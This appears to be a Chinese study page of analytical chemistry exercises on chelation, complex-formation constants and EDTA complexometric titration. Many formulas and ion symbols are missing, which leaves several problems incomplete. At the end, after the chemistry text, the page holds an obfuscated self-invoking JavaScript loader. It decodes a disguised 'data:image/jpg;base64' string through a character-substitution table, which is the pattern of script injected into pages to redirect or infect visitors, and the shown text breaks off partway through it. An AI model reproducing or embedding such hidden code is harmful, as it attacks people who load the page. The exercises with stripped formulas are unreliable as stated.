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螯合:由双齿及以上的配体参与形成的配合物.
注意:有一个双齿配体或多齿配体就算螯合,配体可以相同,也可以不同,双齿以上配体可以一个,也可以多个.
络合:只要形成配合物就是络合,不管它是单齿配体,还是多齿配体配位.
螯合只是络合的一种,从属关系.
络合平衡及络合滴定
.已知乙酰丙酮(L)与
络合物的
lgβ1~lgβ3
分别是
8.6
、15.5和21.3,则
AlL3
为主要形体时的
pL范围是多少?[AlL]
与
[AlL2]
相等时的
pL值为多少?pL为
10.0
时铝的主要形式是什么?(参考答案)
1.
已知铜氨络合物各级不稳定常数为
K不稳1=7.8×10-3
K不稳2=1.4×10-3
K不稳3=3.3×10-4
K不稳4=7.4×10-5
(1)计算各级稳定常数K1~K4和各级累积常数β1~β4;
(2)若铜氨络合物水溶液中Cu(NH3)2+4的浓度为Cu(NH3)2+3的10倍,问溶液中[NH3]是多少?
(3)若铜氨络合物溶液中c(NH3)=1.0×10-2mol·L-1,c(Cu2+)=1.0×10-4
mol·L-1(忽略Cu2+,NH3的副反应),计算Cu2+与各级铜氨络合物的浓度。此时溶液中Cu(Ⅱ)的主要存在型体是什么?
2.
已知NH3的Kb=10-4.63,请计算Ka(NH4+),KH(NH4+),KOH(NH4OH)及pH=9.0时的
3.
(1)计算pH5.5时EDTA溶液的lgαY(H)值;
(2)查出pH
1,2,…,10时EDTA的lgαY(H)值,并在坐标纸上作出lgαY(H)-pH曲线。由图查出pH5.5时的lgαY(H)值,与计算值相比较。
4.
计算下面两种情况下的lgK′(NiY)值。
(1)pH=9.0,c(NH3)=0.2mol·L-1;
(2)pH=9.0,c(NH3)=0.2mol·L-1,[CN-]=0.01mol·L-1。
5.今欲配制pH=5.0、pCa=3.8的溶液,所需EDTA与Ca2+物质的量之比,
即n(EDTA):n(Ca)为多少?
6.拟定分析方案,指出滴定剂、酸度、指示剂及所需其它试剂,并说明滴定方式。
(1)含有
的试液中测定
。
(2)
,
混合液中两者的测定;(举出三种方案)
7.若配制
EDTA溶液的水中含有
,判断下列情况下对测定结果的影响。
(1)以
为基准物质标定
EDTA,用以滴定试液中的
,二甲酚橙为指示剂;
(2)以金属锌为基准物质,二甲酚橙为指示剂标定
EDTA,用以测定试液中
的含量;
(3)以金属锌为基准物质,铬黑T为指示剂标定
EDTA,用以测定试液中
的含量。
8.
用
EDTA
滴定同浓度的
M,总K'(MY)增大10倍,滴定突跃范围改变多少?若K'(MY)一定,浓度增加10倍,滴定突跃增大多少?
9.
络合滴定至何点时,cM
=
cY
?什么情况下,[M]sp
=[Y]sp
?
10.
以同浓度的
EDTA溶液滴定某金属离子,若保持其他条件不变,仅将
EDTA
和金属离子浓度增大
10倍,则两种滴定中哪一段滴定曲线会重合?
11.已知K(ZnY)≥
K(MgY),为什么在
pH=10
的氨性缓冲液中用
EDTA
滴定
时,可以用
标准溶液标定
EDTA
?
12.在使用掩蔽剂(B)进行选择性滴定时,若溶液存在下列平衡:
M
+
Y
======
MY
OH-/\A
+
H+
→
HaA
H+/│\N2
+
B
→
N2B
→
N2Bx
M(0H)
MA
HY
N1Y
N2Y
\H+
┇
┇
┇
HB
M(OH)m
MAn
H6Y
┇
H6B
(1).请写出lgK'(MY)的计算式。
(2).在该溶液中,c(M)、c(N1)、c(N2)、c(Y)、c(A)、c(B)、及[M']、[Y']、[A']、[B']、[N1']、[N2']各是什么含义?
13.
15mL
0.020
mol·L-1
EDTA与10mL
0.020
mol·L-1
Zn2+溶液相混合,若pH为4.0,计算[Zn2+];若欲控制[Zn2+]为10-7.0
mol·L-1,问溶液pH应控制在多大?
14.
以2×10-2
mol·L-1
EDTA滴定同浓度的Cd2+溶液,若pH为5.5,计算化学计量点及前后0.1%的pCd值。选二甲酚橙为指示剂是否合适?
15.
在pH=13时,用EDTA滴定Ca2+。请根据表中数据,完成填空:
浓度c
pCa¢
化学计量点前0.1%
化学计量点
化学计量点后0.1%
0.01
mol·L-1
0.1
mol·L-1
5.3
6.5
提示:
1.
化学计量点前后0.1%的pM值相对于化学计量点有对称关系。
2.
相同的体系,浓度增大10倍时,突跃增大1个pM单位;sp后0.1%的pM值相同。
16.
铬蓝黑R的酸离解常数Ka1=10-7.3,Ka2=10-13.5,它与镁的络合物稳定常数K(MgIn)=107.6。计算pH10.0时(pMg)t值;若以它为指示剂,在pH
10.0时以2×10-2
mol·L-1
EDTA滴定同浓度的Mg2+,终点误差多大?
17.
用控制酸度的方法分步滴定浓度均为2×10-2
mol·L-1的Th4+和La3+。若EDTA浓度也为2×10-2
mol·L-1,计算:
(1)滴定Th4+的合适酸度范围;(lgK′(ThY)最大,Th(OH)4不沉淀);
(2)以二甲酚橙为指示剂滴定Th4+的最佳pH值;
(3)以二甲酚橙为指示剂在pH5.5继续滴定La3+,终点误差多大?
18.
用2×10-2
mol·L-1的EDTA滴定浓度均为2×10-2
mol·L-1的Pb2+、Al3+混合液中的Pb2+。以乙酰丙酮掩蔽Al3+,终点时末与铝络合的乙酰丙酮总浓度为0.1
mol·L-1,pH为5.0,以二甲酚橙为指示剂,计算终点误差(乙酰丙酮的pKa=8.8,忽略乙酰丙酮与Pb2+络合)。
19.
在pH=5.5时使用0.020
mol·L-1
HEDTA(X)滴定同浓度Zn2+,Cd2+试液中的Zn2+,以KI掩蔽Cd2+,XO为指示剂。已知:lgK(ZnX)=14.5,lgK(CdX)=13.0,lgax(H)=4.6,(pZn)t(XO)=5.7;已计算得:lgaCd(I)=5.1,lgaX(Cd)=5.9,lgK(ZnX′)=8.6,(pZn)sp=5.3,Et=+0.1%。
请根据以上数据,完成下表(单位均为mol·L-1):
[X′]
[X]
[Cd2+]
化学计量点
终
点
20.
移取含Bi3+、Pb2+、Cd2+的试液25.00mL,以二甲酚橙为指示剂,在pH=1用0.02015
mol·L-1
EDTA滴定,用去20.28mL;调pH至5.5,用EDTA滴定又用去30.16mL;再加入邻二氮菲,用0.02002
mol·L-1
Pb2+标准溶液滴定,计用去10.15mL。计算溶液中Bi3+、Pb2+、Cd2+的浓度。
鳌合形成的是环状结构的化合物,而络合是形成具有一定结构的物质,不是环状结构的.一般情况下,鳌合比络合形成的物质稳定@@
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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